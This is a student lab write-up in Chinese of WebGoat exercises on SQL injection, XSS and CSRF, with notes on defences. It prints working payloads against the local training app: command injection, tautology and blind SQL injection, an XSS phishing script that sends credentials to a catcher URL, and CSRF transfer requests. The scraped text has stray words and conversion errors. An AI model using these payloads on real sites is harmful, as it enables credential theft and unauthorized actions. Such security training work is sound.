2018-2019-2 《網絡對抗技術》Exp9 Web安全基礎 20165114

Exp9 Web安全基礎

目錄


1、實驗內容

  • 本實踐的目標理解經常使用網絡攻擊技術的基本原理。
  • 作很多於7個題目,包括SQL,XSS,CSRF。
  • Webgoat實踐下相關實驗。

2、基礎問題回答

1. SQL注入攻擊原理,如何防護

原理:javascript

  • 應用程序會將您的輸入帶入後臺的SQL查詢語句。
  • Web應用對後臺數據庫查詢語句處理存在的安全漏洞。
  • 即爲:在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認做正常SQL指令後正常執行,可能實現對後臺數據庫進行各類操做,甚至 形成破壞後臺數據庫等嚴重後果。

防護:html

  • 使用正則表達式過濾傳入的參數。
  • jsp中調用函數檢查是否包函非法字符,作好規範的校驗工做,好比搜索框不能輸入非法字符、限制輸入的長度等。
  • 使用prepared statements語句綁定變量來執行SQL字符串。沒有使用prepared statements語句綁定變量可能很容易受到攻擊。

2. XSS攻擊的原理,如何防護

原理:前端

  • 攻擊者利用網站程序對用戶輸入過濾不足,輸入能夠顯示在頁面上對其餘用戶形成影響的HTML代碼,從而盜取用戶資料、利用用戶身份進行某種動做或者對訪問者進行病毒侵害的一種攻擊方式。
  • 攻擊者經過在目標網站上注入惡意腳本,使之在用戶的瀏覽器上運行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。

防護:java

  • 特徵匹配方式,在全部提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,採用的模式匹配方法通常會須要對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊。
  • 對全部用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。
  • 實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
  • HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入後也沒法竊取此 Cookie。
  • 使用驗證碼:防止腳本冒充用戶提交危險操做。

3. CSRF攻擊原理,如何防護

原理:git

  • CSRF(Cross site request forgery),即跨站請求僞造。咱們知道XSS是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來得到其cookie等信息。而CSRF確實,借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。
  • CSRF通常的攻擊過程是,攻擊者向目標網站注入一個惡意的CSRF攻擊URL地址(跨站url),當(登陸)用戶訪問某特定網頁時,若是用戶點擊了該URL,那麼攻擊就觸發了,咱們能夠在該惡意的url對應的網頁中,利用 來向目標網站發生一個get請求,該請求會攜帶cookie信息,因此也就借用了用戶的身份,也就是僞造了一個請求,該請求能夠是目標網站中的用戶有權限訪問的任意請求。也可使用javascript構造一個提交表單的post請求。好比構造一個轉帳的post請求。
  • 因此CSRF的攻擊分爲了兩步,首先要注入惡意URL地址,而後在該地址中寫入攻擊代碼,利用 等標籤或者使用Javascript腳本。

防護:github

  • referer。由於僞造的請求通常是從第三方網站發起的,因此第一個防護方法就是判斷 referer 頭,若是不是來自本網站的請求,就斷定爲CSRF攻擊。可是該方法只能防護跨站的csrf攻擊,不能防護同站的csrf攻擊(雖然同站的csrf更難)。
  • 使用驗證碼。每個重要的post提交頁面,使用一個驗證碼,由於第三方網站是沒法得到驗證碼的。還有使用手機驗證碼,好比轉帳是使用的手機驗證碼。
  • 使用token。每個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,若是token不對,就斷定位CSRF攻擊。將敏感操做又get改成post,而後在表單中使用token. 儘可能使用post也有利於防護CSRF攻擊。

返回目錄web


3、實踐過程記錄

實驗準備

1. 安裝JDK
  • JDK下載地址
  • JDK安裝和配置教程
  • 在安裝WebGoat前須要將JDK安裝並配置好。不然進入WebGoat也沒法查看到實驗教程。以下圖所示,未能顯示正確的實驗教程。
2. 安裝WebGoat

WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。正則表達式

  • 下載java -jar webgoat-container-7.0.1-war-exec.jarsql

  • 在終端輸入命令運行WebGoatjava -jar webgoat-container-7.0.1-war-exec.jar.
  • 當顯示以下圖的Starting ProtocolHandler ["http-bio-8080"]時,可進行下一步操做。使用過程當中不要關閉終端。
    數據庫

  • 瀏覽器打開http://127.0.0.1:8080/WebGoat/login.mvc ,以下圖有登陸的帳號和密碼,用guest登陸便可。

  • 登陸後便可看到以下圖所示的各個實驗教程。solution是答案,hints是提示。

返回目錄


3.1 注入缺陷Injection Flaws


(1)命令注入(Command Injection)

  • 原理:在正常的參數提交過程當中,添加惡意的代碼,每每可以獲得之外的收穫。
  1. 右鍵表單選擇框的下拉框,選擇Inspect Element(Q),而後修改源代碼。

  2. 在任意一個選項其後加上代碼:"& netstat -an & ipconfig"
  3. 選擇這個修改後的選項,點擊View

  4. 能夠發如今這個頁面中能看到網絡端口使用狀況和IP地址。經過這種方式實現了攻擊。

  5. 若是不攻擊的話,是下圖的狀況。


(2)數字型SQL注入(Numeric SQL Injection)

  • 原理:在 station 字段中注入特徵字符,能組合成新的 SQL 語句。SELECT * FROM weather_data WHERE station = [station]
  1. 爲了看到全部的信息,進行SQL注入,右鍵表單選擇框的下拉框,選擇Inspect Element(Q),而後修改源代碼。
  2. 在某個選項的value值後面,加上代碼 or 1=1,使該式子成爲永真式。

  3. SELECT * FROM weather_data WHERE station = 101 or 1 = 1。因爲後面是永真式,這樣會執行語句 SELECT * FROM weather_data,能夠查詢到全部的信息。

返回目錄



(3)日誌欺騙(Log Spoofing)

  • 原理:這種攻擊是在日誌文件中愚弄人的眼睛,攻擊者能夠利用這種方式清除他們在日誌中的痕跡。
  • 目標:灰色區域表明在 Web服務器的日誌中的記錄的內容。您的目的是使用戶名爲admin的用戶在日誌中顯示「成功登陸」。升級您的攻擊,例如:在日誌文件中插入腳本。
  1. user name一欄中輸入DQY Login Succeeded for username: admin,密碼隨意輸入。提交後能夠發現,灰色區域的用戶名後面的信息會在同一行顯示,而不是在新的一行。

  2. 還能夠往該應用中注入回車(0D%)和換行符(%0A)。在 username 中填入20165114%0d%0aLogin Succeeded for username: admin,這樣就完成了該課程.

  3. 攻擊者還能夠利用這種方式向日志文件中添加惡意腳本,腳本的返回信息管理員可以經過瀏覽器看到。若是把admin <script>alert(document.cookie)</script>做爲用戶名輸入,可以得到登陸用戶的cookie


(4)字符串型注入(String SQL Injection)

  • 原理:應用程序會將您的輸入帶入後臺的 SQL 查詢語句,使用SQL注入繞過認證。
  1. 因爲密碼的長度有限制,因此咱們先修改密碼輸入框的容許輸入長度。將maxlength設置爲20甚至更大。

  2. 能夠用admin的身份登陸,密碼框裏輸入' or 1=1 --,而後就能成功以Necille的身份登陸成功。能夠查看任意用戶的信息等等。

  3. 能夠編輯用戶信息、刪除信息等等。注入成功。


(5)LAB: SQL Injection 之 Stage 3: 數字型 SQL 注入(Stage 3: Numeric SQL Injection)

  1. 首先使用用戶名Larry和密碼larry登陸,瀏覽員工信息的按鈕是ViewProfile

  2. 右鍵審查網頁元素。
  3. 在員工ID:101後面加上or 1=1 order by salary desc進行SQL注入排序,其中desc表示使用降序排列。

  4. 能夠看到此處是用員工ID做爲索引來傳送數據的,感受這裏的數據庫應該是以員工ID做爲索引,返回的是每次查詢到的第一條數據。用社會工程學解釋老闆應該是工資最高的,因此爲了把老闆排到第一個,添加降序排列的代碼。
  5. 以下圖,看見了老闆的信息,還能夠修改,攻擊成功。

返回目錄



(6)數字型盲注入(Blind Numeric SQL Injection)

  • 原理:某些 SQL 注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語句。
  • 目標:下面的表單容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。您的目標是找到 pins 表中 cc_number 字段值爲 1111222233334444的記錄中 pin 字段的數值。pin字段類型爲int,整型。輸入找到的數值並提交,經過本課程。
  1. 本節課程中,服務端頁面返回的信息只有兩種:賬號有效或無效。所以沒法簡單地查詢到賬號的 PIN 數值。儘管如此,咱們能夠利用系統後臺在用的查詢語句。查詢語句以下:SELECT * FROM user_data WHERE userid=accountNumber;
  2. 若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。使用AND函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果提示賬號有效,不然無效。例以下面兩個查詢方式:
    101 AND 1=1
    101 AND 1=2
    在第一條語句中,兩個條件都成立,因此頁面返回賬號有效。而第二條則返回賬號無效。
  3. 如今能夠針對查詢語句的後半部分構造複雜語句。下面的語句能夠告訴咱們 PIN 數值是否大於10000。
    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  4. 若是頁面提示賬號有效,說明 PIN>10000 不然PIN<=10000。不斷調整數值,能夠縮小判斷範圍,並最終判斷出 PIN 數值的大小。
  5. 最終以下語句返回賬號有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
  6. 在查詢框中輸入 2364 並提交,經過本節課程。


(7)字符串型盲注入(Blind String SQL Injection)

  • 原理:與上一個數字型盲注入基本相同,只是pin 字段類型爲varchar
  • 目標:輸入找到的數值(最終的字符串,注意拼寫和大寫)並提交。
  1. 本節課程很是相似與上一節。最大的不一樣是要查詢的字段是一個字符串而不是數值。所以咱們一樣能夠經過注入的方式查找到該字段的值。查詢語句很是相似上一節,以下:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );
  2. 該語句使用了SUBSTRING方法,取得pin字段數值的第一個字母,並判斷其是否比字母「H」小。SUBSTRING 語法以下:SUBSTRING(STRING,START,LENGTH)通過屢次測試(比較0-9A-Za-z等字符串)和頁面的返回數據,判斷出第一個字符爲「J」

  3. 同理繼續判斷第二個字符。101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) <'h' );
  4. 最終,判斷出pin字段的值爲:Jill。提交該值,經過本節課程。

返回目錄


3.2 跨站腳本攻擊Cross‐Site Scripting (XSS)


(1)使用XSS釣魚(Phishing with XSS)

  • 原理:HTML 文檔的內容是能夠被篡改的,若是您有權限操做頁面源代碼。
  • 目標:建立一個 form,要求填寫用戶名和密碼。將數據提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
  • 操做方法:
  1. 利用 XSS 能夠在已存在的頁面中進一步添加元素。該解決方案包括兩部分,您須要結合起來使用:
    • 受害人填寫一個表格;
    • 以讀取腳本的形式,將收集到的信息發送給攻擊者。
  2. 一個帶用戶名和密碼輸入框的表格以下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>

3 搜索這段代碼,您就能看到頁面中增長了一個表單。
4 如今您須要一段腳本:

<script>
function hack()
{ 
alert("Had this been a real attack... Your credentials were just stolen." User Name = " +document.forms[0].user.value + "Password = " +document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" +document.forms[0].pass.value + "";
}
</script>

5 最後,就是要將這兩段代碼合併。最終須要輸入的代碼以下:

</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

6 這段代碼會讀取您在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的 WebGoat。

返回目錄



(2)存儲型XSS攻擊(Stored XSS Attacks)

  • 目標:建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。
  • 操做:
    1 在 title 中任意輸入字符。在Message中輸入如下代碼:<script>alert('20165114')</script>
    2 而後下面會出現title 中輸入的字符,點擊該連接,這就比如您剛建立的帖子,由您或者其餘人瀏覽,而後會彈出一個對話框,,寫着20165114,證實 XSS 攻擊成功。

3 或者更爲複雜的,若是用如下的代碼。

<head> 
   <body> 
      <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div>
            <div style="float:left;height:100px;width:50%;background-color:orange;"></div> 
     </div> <div style="background-color:grey;height:200px;clear:both;"></div>  
</div></div> 
</form>  
<script> function hack()
{  
   XSSImage=new Image;
   XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); 
}  
</script> 
<form name="phish"> <br> <br> <HR>  
   <H2>This feature requires account login:</H2> <br>  
      <br>Enter Username:<br>   <input type="text" name="user">  
      <br>Enter Password:<br>   <input type="password" name = "pass"> <br>  
      <input type="submit" name="login" value="login" onclick="hack()"> 
</form> <br> <br> <HR>
    </body> 
</head>

4 點擊連接以後,會出現黃色、橙色、灰色的div滑塊,下面還會出現輸入用戶名和密碼的表單。

5 若是受害者輸入就會成功被截獲用戶名和密碼。以下圖:

返回目錄



(3)反射型XSS攻擊(Reflected XSS Attacks)

1 在Enter your three digit access code中輸入以下代碼:<script>alert('you are a loser!')</script>
2 點擊Purchase,成功顯示警告框,內容爲咱們script腳本寫的you are a loser!。攻擊成功。

返回目錄


3.3 關於CSRF的攻擊


(1)跨站請求僞造(Cross Site Request Forgery (CSRF))

  • 原理:跨站請求僞造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。以下代碼所示:<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
    當受害者的瀏覽器試圖打開這個頁面時,它會使用指定的參數向www.mybank.com的transferFunds.do頁面發送請求。瀏覽器認爲將會獲得一個圖片,但其實是一種資金轉移功能。該請求將包括與網站相關的任何cookies。所以,若是用戶已經經過網站的身份驗證,並有一個永久的cookie,甚至是當前會話的cookie,網站將沒有辦法區分這是不是一個從合法用戶發出的請求。經過這種方法,攻擊者可讓受害者執行一些他們原本沒打算執行的操做,如註銷、採購項目或者這個脆弱的網站提供的任何其餘功能。
  • 目的:向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的 URL 指向一個惡意請求。嘗試一個包括 1*1像素的圖像,其中包含一個網址。這個URL應當用一個額外的參數「transferFunds= 4000」指向CRSF課程頁面。您能夠經過左側菜單在CSRF課程鏈接上右鍵單擊,選擇複製快捷方式。不管誰收到這封郵件,並剛好已經經過身份驗證,他的資金將會被轉走。
  • 注意:不一樣 WebGoat 環境的URL中「Screen 」和「Menu」參數可能會有所區別。請使用當前訪問 URL 中正在使用的參數。
  • 根據當前訪問 URL中的scr和menu在消息框中嵌入 HTML 代碼。這段代碼中包含一個圖片,連接到一個網站。<img src="http://localhost/WebGoat/attack?Screen=273&menu=2900&transferFunds=5000" width="1" height="1" />

  • 提交後會發現連接,點擊該連接。

  • 點擊該連接,當前頁面就會下載這個消息並顯示出來,轉走用戶的5000元,CSRF攻擊就成功了。

返回目錄



(2)繞過CSRF確認(CSRF Prompt By‐Pass)

  • 能夠在title框中輸入學號,在message框中輸入下面的代碼
<iframe src="attack?Screen=277&menu=900&transferFunds=5114"> </iframe>
<iframe src="attack?Screen=277&menu=900&transferFunds=CONFIRM"> </iframe>
  • 下圖即爲攻擊成功。

返回目錄


4、實驗總結與體會

  • 這次實驗總體比較順利,可是因爲本身英語水平有限,閱讀英文解釋等等稍微有些困難。但也在閱讀他人博客等等方式完成了實驗。
  • 這次實驗經過對多個SQL注入和XSS攻擊,CSRF攻擊的課程學習,我接觸到了更多的不一樣實際狀況下的各類對web的攻擊,也在這個實踐的過程當中感覺了不少現實狀況下對漏洞的侵害。咱們做爲用戶,在不少狀況下,一旦在來歷不明的鏈接中輸入用戶名和密碼就,就會被截獲密碼信息等,十分危險。各類攻擊方法複雜繁多,防護方法也不少,可是在一些比較薄弱的網站,就很容易被攻擊成功。站在我的角度,提升防範意識十分重要,做爲學習網絡攻擊知識的學生,深刻學習原理,從根源上防護攻擊,學習好知識技能十分重要。

返回目錄


參考資料

前端安全系列(一):如何防止XSS攻擊?
CSRF 攻擊原理和防護方法
總結 XSS 與 CSRF 兩種跨站攻擊
WebGoat+中文手冊+v2.2

相關文章
相關標籤/搜索